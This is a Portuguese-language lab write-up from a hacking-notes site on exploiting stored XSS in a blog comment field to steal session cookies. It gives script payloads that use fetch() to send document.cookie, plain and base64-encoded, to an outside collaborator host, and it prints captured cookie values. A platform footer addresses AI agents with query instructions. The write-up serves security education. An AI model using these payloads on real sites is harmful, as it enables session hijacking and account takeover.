> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xss/cookie-theft-via-xss.md).

# Roubo de Cookies via XSS

### Explorando Cross-site Scripting para Roubar Cookies

O laboratório possui uma vulnerabilidade de XSS armazenada na função de comentários do blog. Um usuário vítima consulta os comentários após a publicação. O objetivo educacional é entender como uma injeção do lado do cliente pode levar à exfiltração de informações de sessão e como protegê-la.

O campo de comentário não aplica codificação ou escape suficientes à entrada do usuário, permitindo que o navegador injete conteúdo quando outro usuário exibe a página.

```javascript
<script>alert(0)</script>
```

<figure><img src="/files/fb85bca583db2cb36c24fceee53ceb37b9c8073f" alt="" width="527"><figcaption></figcaption></figure>

Usamos `fetch` para fazer requisições:

```javascript
<script>
  fetch("https://o0ppmd5fv2hmt8tb190bl5cy4pagy9my.oastify.com/" + "/jordan");
</script>
```

A requisição chega à infraestrutura de escuta.

<figure><img src="/files/53a31176988486f3acdb75352dac476dcc55eb96" alt=""><figcaption></figcaption></figure>

Enviamos o cookie de sessão:

```javascript
<script>
  fetch("https://3gk42slubhx19n9qhogq1ksdk4qvep2e.oastify.com?cookie=" + document.cookie);
</script>
```

<figure><img src="/files/4757ca0a225608ca769ff49f4737707d9fe5131a" alt=""><figcaption></figcaption></figure>

```
secret=QplRMu1d8Cvif8Ai7En7j3ADRb0DZxa0;
session=sw0gW8IuyBITTD0ChgDydWcmuFx5J79D
```

Em seguida, substituímos o cookie de sessão.

<figure><img src="/files/eb42e71e0299349057f0b1962bbcfe2461a21725" alt=""><figcaption></figcaption></figure>

Você também pode codificar o conteúdo em base64 antes de enviar:

```javascript
<script>
  fetch("https://3gk42slubhx19n9qhogq1ksdk4qvep2e.oastify.com?cookie=" + btoa(document.cookie));
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/xss/cookie-theft-via-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
